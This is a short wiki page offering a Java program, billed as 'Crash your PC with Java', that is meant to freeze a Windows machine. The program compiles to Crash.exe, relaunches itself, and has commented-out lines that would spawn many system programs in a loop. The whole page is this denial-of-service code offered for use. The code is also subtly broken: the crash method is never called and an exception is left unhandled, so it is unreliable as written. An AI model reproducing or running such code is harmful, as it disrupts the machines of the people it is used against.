Site Tools


thedarkside:javacrash

Crash your PC with Java

Execute this and your PC will slow down until you cant do anything. Works on XP, never tested it on 7. I compiled it to Crash.exe so it can start itself. Thats why the app will execute crash.exe, you can remove this if you run it as .java

//by Lunetikk
import java.awt.*;
import java.util.Random;
import java.io.*;
 
public class Crash extends Frame
 
 {
  public void crashu(Graphics g)
  {
  Runtime.getRuntime().exec("Crash.exe");
    for(int i = 0; i < 100; i++)
    {
//     Runtime.getRuntime().exec("Crash.exe");
//     Runtime.getRuntime().exec("c:/WINDOWS/explorer.exe");
//     Runtime.getRuntime().exec("c:/WINDOWS/notepad.exe");
//     Runtime.getRuntime().exec("c:/WINDOWS/system32/calc.exe");
//     Runtime.getRuntime().exec("c:/WINDOWS/system32/cmd.exe");
//     Runtime.getRuntime().exec("c:/WINDOWS/system32/freecell.exe");
//     Runtime.getRuntime().exec("c:/WINDOWS/system32/mshearts.exe");
//     Runtime.getRuntime().exec("c:/WINDOWS/system32/mspaint.exe");
//     Runtime.getRuntime().exec("c:/WINDOWS/system32/sndvol32.exe");
//     Runtime.getRuntime().exec("c:/WINDOWS/system32/sol.exe");
//     Runtime.getRuntime().exec("c:/WINDOWS/system32/spider.exe");
//     Runtime.getRuntime().exec("c:/WINDOWS/system32/taskmgr.exe");
//     Runtime.getRuntime().exec("c:/WINDOWS/system32/winmine.exe");
    }
  }
 
  public static void main (String[] args) throws InterruptedException
  {
    Crash b = new Crash();
 
    b.setSize(50,50);
    b.setVisible(true);
    b.setTitle("Crash");
    while (true){
    b.repaint();
    Thread.sleep(100);
}
  }
 }



thedarkside/javacrash.txt · Last modified: 2017/10/02 15:12 (external edit)